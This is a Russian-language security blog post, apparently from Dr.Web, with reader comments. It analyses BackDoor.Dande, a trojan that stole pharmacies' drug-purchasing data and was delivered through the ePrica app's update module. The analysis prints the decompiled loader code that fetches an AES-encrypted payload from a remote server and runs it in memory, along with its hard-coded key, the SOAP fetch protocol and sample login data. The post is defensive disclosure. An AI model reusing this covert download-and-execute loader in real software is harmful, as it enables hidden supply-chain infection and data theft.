Кибератака на аптеки, промышленный шпионаж, инсайд и расследование длиной в 4 года. Казалось бы, при чём тут «Петя»?

    Обычно мы ничего и никому не рассказываем про расследования. Уж больно это тема тонкая. Но обстоятельства практически вынуждают :) Вчера вы могли прочитать новость простыми словами, а сегодня мы расскажем, как же это всё было устроено технически. Если вы пропустили: речь идёт об апдейте в посте про Trojan. Encoder.12544, известного также как Петя, неПетя и т.п. В двух словах:

    Еще в 2012 году вирусные аналитики компании «Доктор Веб» выявили целенаправленную атаку на сеть российских аптек и фармацевтических компаний с использованием вредоносной программы BackDoor.Dande. Этот троянец-шпион похищал информацию о закупках медикаментов из специализированных программ, которые используются в фармацевтической индустрии. В момент запуска бэкдор проверял, установлены ли в системе соответствующие приложения для заказа и учета закупок лекарств, и, если они отсутствовали, прекращал свою работу. Заражению подверглись более 2800 аптек и российских фармацевтических компаний. Таким образом, можно с определенной уверенностью утверждать, что BackDoor.Dande использовался в целях промышленного шпионажа.

    Специалисты компании «Доктор Веб» провели расследование, длившееся целых 4 года. Проанализировав жесткие диски, предоставленные одной из пострадавших от BackDoor.Dande фирм, вирусные аналитики установили дату создания драйвера, который запускает все остальные компоненты бэкдора.

    Упоминания об этом драйвере обнаружились в файле подкачки Windows и журнале антивируса Avast, который был установлен на зараженной машине. Анализ этих файлов показал, что вредоносный драйвер был создан сразу же после запуска приложения ePrica (D:\ePrica\App\PriceCompareLoader.dll). Это приложение, разработанное компанией «Спарго Технологии», позволяет руководителям аптек проанализировать расценки на медикаменты и выбрать оптимального поставщика. Изучение программы ePrica позволило установить, что она загружает в память библиотеку, которая скрытно скачивает, расшифровывает и запускает в памяти BackDoor.Dande. Троянец загружался с сайта ws.eprica.ru, принадлежащего компании «Спарго Технологии» и предназначенного для обновления программы ePrica. При этом модуль, скрытно загружавший вредоносную программу, имел действительную цифровую подпись «Спарго». Похищенные данные троянец загружал на серверы за пределами России. Иными словами, как и в ситуации с Trojan.Encoder.12544, бэкдор «прятался» в модуле обновления этой программы.

    Итак, к делу!

    BackDoor.Dande.61

    Добавлен в вирусную базу Dr.Web: 2016-12-08
    Описание добавлено: 2017-06-30


    установщик 64b57c90bcbf71ae4a28f8f742821c123bfb8061
    драйвер 1 65384de87e53a9249553b6f38c9b48da3ec4e041
    драйвер 2 1a22a6c9cd04b25a108e08aa6e35637154e5aee6
    троянец 781262c98f1bdd4e61cd888f71ccc712ff296bf6
    PriceCompareLoader.dll b3915aa38551a5b5270b23e372ae1241161ec598
    PriceComparePm.dll 014a9166c5516a5193b6b638eeae635170f25829

    Троянец-бэкдор, предназначенный для кражи у аптек и фармацевтических компаний информации о закупке медикаментов. Компания «Доктор Веб» исследовала источник заражения этой версией вредоносной программы. В изученном образце драйвер tapec.sys (Dande), который запускает все остальные компоненты троянца, был создан 28 апреля 2016 года:

    04/28/16 11:34:59.9062500000;12/11/02 23:14:32.0000000000;06/16/16 12:28:52.5468750000 C:\Windows\System32\drivers\msteeb.sys
    04/28/16 11:35:00.2031250000;04/15/08 17:00:00.0000000000;06/16/16 12:28:52.5312500000 C:\Windows\System32\drivers\tapec.sys
    04/28/16 11:35:01.0468750000;12/25/08 22:00:20.0000000000;06/16/16 12:28:53.6250000000 C:\Windows\System32\drivers\telephona.cpl


    Поиск строки tapec.sys показал его наличие в двух файлах:

    pagefile.sys (файл подкачки)
    Avast\URL.db (журнал Avast в формате базы данных sqllite3)


    База данных содержит две таблицы:

    sqlite> .schema
    CREATE TABLE Paths (Time INTEGER, Path TEXT COLLATE NOCASE UNIQUE, ShortHash INTEGER, LongHash BLOB PRIMARY KEY, Flags INTEGER);
    CREATE TABLE URLs (Time INTEGER, URL TEXT, ShortHash INTEGER, LongHash BLOB PRIMARY KEY, Flags INTEGER);
    CREATE INDEX PathsPathIndex ON Paths (Path COLLATE NOCASE);
    CREATE INDEX URLsShortHashIndex ON URLs (ShortHash);


    где Paths – список программ, которые запускались на исследуемом компьютере. Повторный поиск в диапазоне одного дня до и после создания вредоносного драйвера выявил два интересных события:

    1461832499|D:\ePrica\App\PriceCompareLoader.dll|2038233152|
    1461832500|C:\WINDOWS\system32\drivers\tapec.sys|2510498394|


    Вредоносный драйвер был создан через секунду после запуска библиотеки D:\ePrica\App\PriceCompareLoader.dll, являющейся частью приложения ePrica.

    Исследование ePica

    ePrica — это приложение, разработанное компанией «Спарго Технологии», которое позволяет руководителям аптек проанализировать расценки на медикаменты и выбрать оптимального поставщика. Используемая этой программой библиотека PriceCompareLoader.dll имеет три экспортируемые функции:

    MemoryLoadLibrary
    MemoryGetProcAddress
    MemoryFreeLibrary


    Все эти функции выполняют запуск библиотек в памяти. PriceCompareLoader.dll вызывается из PriceComparePm.dll. Библиотека обфусцирована при помощи .NET Reactor 4.7. Эта библиотека пытается скачать с сайта полезную нагрузку, расшифровать ее с помощью алгоритма AES и запустить из памяти. Ниже представлен код загрузки и запуска файла:

    public static void Download()
    {
        try
        {
            if (!UpdateDownloader.bool_0)
            {
                Guid sessionId = Settings.SESSION.SessionId;
                if (!(sessionId == Guid.Empty))
                {
                    UpdateService updateService = new UpdateService();
                    MyUtils.ConfigureWebServiceProxy(updateService, false);
                    int @int = SettingsAllUsers.GetInt("UPDATE_FLAG");
                    if (@int >= 0)
                    {
                        bool success = false;
                        if (@int > 0)
                        {
                            success = true;
                        }
                        DateTime date = SettingsAllUsers.GetDate("UPDATE_FLAG_MODIFIED");
                        updateService.ResetUpdateFlag(sessionId, success, date);
                        SettingsAllUsers.SetDirect("UPDATE_FLAG", -1);
                    }
                    else if (updateService.CheckUpdateFlag(sessionId))
                    {
                        byte[] array = new byte[UpdateDownloader.qOmraPoxb];
                        int num = 0;
                        while (true)
                        {
                            byte[] array2 = updateService.Load(sessionId, num);
                            try
                            {
                                array2 = AesEncryptor.Decrypt(array2, UpdateDownloader.byte_0, UpdateDownloader.byte_1);
                            }
                            catch
                            {
                                num = 0;
                                break;
                            }
                            int num2 = 0;
                            if (array2 != null)
                            {
                                num2 = array2.Length;
                            }
                            if (num2 == 0 || num + num2 > UpdateDownloader.qOmraPoxb)
                            {
                                break;
                            }
                            Array.Copy(array2, 0, array, num, num2);
                            num += num2;
                        }
                        if (num > 0 && num <= UpdateDownloader.qOmraPoxb)
                        {
                            Array.Resize<byte>(ref array, num);
                            UpdateDownloader.bool_0 = true;
                            Thread thread = new Thread(new ParameterizedThreadStart(UpdateDownloader.smethod_0));
                            thread.Start(array);
                        }
                        else
                        {
                            updateService.ResetUpdateFlag(sessionId, false, DateTime.get_Now());
                        }
                    }
                }
            }
        }
        catch
        {
        }
    }
    

    Ключ и вектор AES:

    static UpdateDownloader()
    {
        Class3.uNNUGvkzmboS2();
        UpdateDownloader.qOmraPoxb = 2097152;
        UpdateDownloader.byte_0 = new byte[]
        {
            57,
            75,
            140,
            42,
            22,
            100,
            103,
            39,
            168,
            179,
            86,
            81,
            247,
            11,
            224,
            242,
            23,
            154,
            186,
            128,
            130,
            171,
            200,
            170,
            128,
            217,
            247,
            238,
            80,
            200,
            146,
            12
        };
        UpdateDownloader.byte_1 = new byte[]
        {
            88,
            199,
            157,
            130,
            155,
            231,
            168,
            148,
            97,
            45,
            227,
            215,
            3,
            234,
            61,
            172
        };
    }

    Код проверки обновления:

    private static void smethod_0(object object_0)
    {
        bool flag = false;
        try
        {
            byte[] array = object_0 as byte[];
            if (array != null)
            {
                SettingsAllUsers.SetDirect("UPDATE_FLAG", -2);
                flag = CheckUpdate.Check(array);
            }
        }
        catch
        {
        }
        finally
        {
            try
            {
                if (flag)
                {
                    SettingsAllUsers.SetDirect("UPDATE_FLAG", 1);
                }
                else
                {
                    SettingsAllUsers.SetDirect("UPDATE_FLAG", 0);
                }
                SettingsAllUsers.SetDirect("UPDATE_FLAG_MODIFIED", DateTime.get_Now());
            }
            catch
            {
            }
            UpdateDownloader.bool_0 = false;
        }
    }

    Код запуска из памяти:

    public static bool Check(byte[] byte_0)
    {
        IntPtr intPtr = IntPtr.Zero;
        IntPtr intPtr2 = IntPtr.Zero;
        try
        {
            if (byte_0 == null)
            {
                bool result = false;
                return result;
            }
            intPtr2 = Marshal.AllocHGlobal(byte_0.Length);
            Marshal.Copy(byte_0, 0, intPtr2, byte_0.Length);
            intPtr = CheckUpdate.Class1.MemoryLoadLibrary(intPtr2);
            if (intPtr == IntPtr.Zero)
            {
                bool result = false;
                return result;
            }
            IntPtr intPtr3 = CheckUpdate.Class1.MemoryGetProcAddress(intPtr, "ModuleFunction");
            if (intPtr3 == IntPtr.Zero)
            {
                bool result = false;
                return result;
            }
            CheckUpdate.Delegate0 @delegate = (CheckUpdate.Delegate0)Marshal.GetDelegateForFunctionPointer(intPtr3, typeof(CheckUpdate.Delegate0));
            @delegate(IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
        }
        catch
        {
            bool result = false;
            return result;
        }
        finally
        {
            try
            {
                if (intPtr != IntPtr.Zero)
                {
                    CheckUpdate.Class1.MemoryFreeLibrary(intPtr);
                }
            }
            catch
            {
            }
            try
            {
                if (intPtr2 != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(intPtr2);
                }
            }
            catch
            {
            }
        }
        return true;
    }

    Протокол

    Библиотека обменивается информацией с удаленным сервером с использованием протокола SOAP HTTP. Для авторизации осуществляется отправка POST-запроса на сервер ws.eprica.ru/app/InfoService.asmx со следующим заголовком:

    'SOAPAction': "http://www.spargo.ru/es/LoginEx"

    Данные для авторизации имеют следующую структуру:

    <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
            <soap:Body>
                <LoginEx xmlns="http://www.spargo.ru/es">
                    <wsUser>
                        <LicenseNumber>071122-164229</LicenseNumber>
                        <SessionId>00000000-0000-0000-0000-000000000000</SessionId>
                        <GuidDrugstore>00000000-0000-0000-0000-000000000000</GuidDrugstore>
                        <KodDrugstore>105570</KodDrugstore>
                        <Login>Администратор</Login>
                        <PasswordHash>/9P+uFEEaqgoKiKOQOZnOw==</PasswordHash>
                        <Version>4.0.26.30</Version>
                        <ComputerInfoHash>NVQKLJBTV1</ComputerInfoHash>
                        <AccessCode>ED287118-3933-4E97-95A7-9D3C4CF94421</AccessCode>
                        <DownloadedUpdateVersion>4.0.23.17</DownloadedUpdateVersion>
                    </wsUser>
                    <password>1230456</password>
                </LoginEx>
            </soap:Body>
        </soap:Envelope>

    В ответ поступает sessionId следующего вида:

    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <soap:Body>
            <LoginExResponse xmlns="http://www.spargo.ru/es">
                <LoginExResult>
                    <SessionId>64ad19a5-d8c3-481c-a95e-95ce9a3722ff</SessionId>
                    <AccessCodeNew>F06BBB44-558B-4C43-A278-1E7B787FE986</AccessCodeNew>
                    <ContentServiceUrl>https://pharmadata.ru/content/ContentUploadService.asmx</ContentServiceUrl>
                    <PackSize>0</PackSize>
                    <MobOrderCheckIntervalSec>300</MobOrderCheckIntervalSec>
                    <IsMobOrderDisabled>false</IsMobOrderDisabled>
                    <HasMobOrder>false</HasMobOrder>
                    <LastLogSave>2016-12-08T12:41:44.0065516+03:00</LastLogSave>
                </LoginExResult>
            </LoginExResponse>
        </soap:Body>
    </soap:Envelope>

    Для получения полезной нагрузки направляется запрос к серверу ws.eprica.ru/app/UpdateService.asmx со следующим заголовком:

    "SOAPAction": 'http://www.spargo.ru/es/Load'

    Передается следующий xml-файл:

    <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
            <Load xmlns="http://www.spargo.ru/es">
              <guidSession>%s</guidSession>
              <offset>%d</offset>
            </Load>
          </soap:Body>
        </soap:Envelope>

    Параметр offset используется, поскольку файл отдается частями. Ответ сервера имеет следующий вид:

    
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <soap:Body>
            <LoadResponse xmlns="http://www.spargo.ru/es">
                <LoadResult>fzzvOyrIohvnXggrGy35PtG9BG79/v7MebMKMMu+lN...
                </LoadResult>
            </LoadResponse>
        </soap:Body>
    </soap:Envelope>

    Передаваемая в base64 полезная нагрузка зашифрована с использованием алгоритма AES. В ней находится установщик BackDoor.Dande. Сама библиотека имеет действительную цифровую подпись SPARGO Technologies:



    В процессе установки BackDoor.Dande удаляет файлы старой версии Dande: isaPnpPrt.sys, RpcSsPrt.sys, BackDoor.Dande.2. Троянец выбирает случайное имя из папки %SYSTEM32%\drivers\ и сохраняет свою копию с таким же именем, но добавляет в конец несколько случайных символов. Файлы для сохранения троянец извлекает из секции .cdata и .bdata, данные хранятся в контейнере BackDoor.Dande.2. В драйвере, имеющем SHA1 65384de87e53a9249553b6f38c9b48da3ec4e041, обновляется имя до зашифрованного контейнера, таким образом удаляется цифровая подпись, которая ранее была действительна. В остальном процедура установки аналогична таковой для BackDoor.Dande.2.

    vms.drweb.ru/virus/?i=15448691&lng=ru

    Иными словами, как и в ситуации с Trojan.Encoder.12544, бэкдор «прятался» в модуле обновления этой программы.

    Сходство этих двух случаев показывает, что инфраструктура разработки программного обеспечения требует повышенного внимания к вопросам информационной безопасности. Прежде всего, процессы обновления любого коммерческого ПО должны находиться под пристальным вниманием как самих разработчиков, так и пользователей. Утилиты обновления различных программ, обладающие в операционной системе правами на установку и запуск исполняемых файлов, могут неожиданно стать источником заражения. В случае с MEDoc к этому привел взлом злоумышленниками и компрометация сервера, с которого загружались обновления, а в ситуации с BackDoor.Dande, как полагают специалисты, к распространению инфекции привели сознательные действия инсайдеров. Посредством такой методики злоумышленники могут провести эффективную целевую атаку против пользователей практически любого программного обеспечения.
    Доктор Веб
    Company

    Comments 20

    • UFO just landed and posted this here
        +4
        Создатели заботливо добавили?
          0
          Данные по закупкам это довольно интересная информация, и позволяет поставщикам выставлять цены чуть ниже чем у конкурентов, для разных аптек цены разные, скорее всего в данной ситуации поставщик ПО целенаправленно собирал данные и сливал заинтересованным поставщикам за спасибо.
          • UFO just landed and posted this here
          +5
          Кроме добавления в вирусные базы — какие-нибудь юридические последствия расследование имело?
            –6
            Ну сколько можно уже про «Петю» писать, каждая 3-я статья про него. Статьи не совсем подходят для хабра. Идите на geektimes и там публикуйте свои расследования.
              +1
              Дада, не мешайте профи обсуждать 100500й фреймворк! Скажите честно, зачем вы зашли сюда, потратили время, оставили этот коммент? Неужели чтобы послать на гиктаймс? У вас все нормально с душевным здоровьем? :)
              0

              Только вчера писал, что походу это начало новой вехи вирусов, когда они идут вместо с легального обновления. Дальше похоже будет хуже.


              И да, кто туда добавил вирусы создатели программы или нет?

                0
                В статье по первой ссылке говориться, что в мед-софт зараза подсажена кем то из разработчиков (наличие валидной цифровой подписи какбэ намекает). Ну или как вариант — зараженные компы разработчиков, от чего в принципе тоже ни разу не легче.
                  0

                  Если там вообще есть подпись. И даже если есть, то сертификат для подписи мог храниться сразу на сервере. Нужно было вообще не давать файла запускать исполняемые.

                0
                Почту Petya заблокировали? Теперь выкуп не перевести если файлы заражены?
                  0
                  Да. Но выкуп лучше вообще не платить никогда — во-первых, это поощрение преступления, во-вторых, далеко не факт, что злоумышленники справятся с расшифровкой. Ломать — не строить.
                  0
                  Украденная информация сливалась на зарубежные серверы. Dr Web не хакнул их и не размотал всю цепочку с установлением имени выгодополучателя?
                    0
                    Хакать нехорошо! Ну и всё такое. А вообще, уточню, можно ли это говорить.
                  • UFO just landed and posted this here
                      0
                      Интересный! Но не совсем к нам. Наше дело — передать информацию соответствующим организациям. А они уже дальше по ней работают.
                      0
                      Интересно.
                        0
                        Интересно, но с точки зрения уязвимости апдейтов, опенсорс оказывается в плюсе в итоге?
                          0
                          Чтобы было понятно, кто это и для чего,
                          скажу что компания Спарго является дочерней компанией самого крупного фармацевтического дистрибьютора, компании Протек.
                            0

                            2 раза находили у себя такой вирус, оба раза Dande2.
                            Действительно, вирус был только на тех машинах где стояла эприка.
                            Причем часть машин сломалась — перестала запускаться Windows, а остальные работали и не было проблем.
                            Похоже что троян работает выборочно. Все антивирусы кроме Dr.Web этот бэкдор не видят толком.
                            стоял лицензионный Касперский и только ругался на процесс в оперативной памяти.
                            никакие проверки Касперским результата не давали.
                            Проверили лечилкой Dr.Web Cureit, результат:
                            \Device\HarddiskDmVolumes\PhysicalDmVolumes\BlockVolume4\WINDOWS\system32\drivers\RpcSsPrt.sys — infected with BackDoor.Dande.2
                            \Device\HarddiskDmVolumes\PhysicalDmVolumes\BlockVolume4\WINDOWS\system32\drivers\RpcSsPrt.sys — infected
                            Process \Device\HarddiskDmVolumes\PhysicalDmVolumes\BlockVolume4\WINDOWS\explorer.exe:1008 — infected with BackDoor.Dande.2
                            Process \Device\HarddiskDmVolumes\PhysicalDmVolumes\BlockVolume4\WINDOWS\explorer.exe:1008 — neutralized
                            C:\WINDOWS\system32\drivers\RpcSsPrt.cfg — infected with BackDoor.Dande.2
                            C:\WINDOWS\system32\drivers\RpcSsPrt.cfg — infected
                            C:\WINDOWS\system32\drivers\RpcSsPrt.sys — infected with BackDoor.Dande.2
                            C:\WINDOWS\system32\drivers\RpcSsPrt.sys — infected


                            Если вы аптечное предприятие и есть эприка — высокая вероятность что с помощью Dr.Web Cureit найдете этот вирус.
                            Причем после чистки через какое-то время он может появиться снова. Выводы делайте сами.

                            Only users with full accounts can post comments. Log in, please.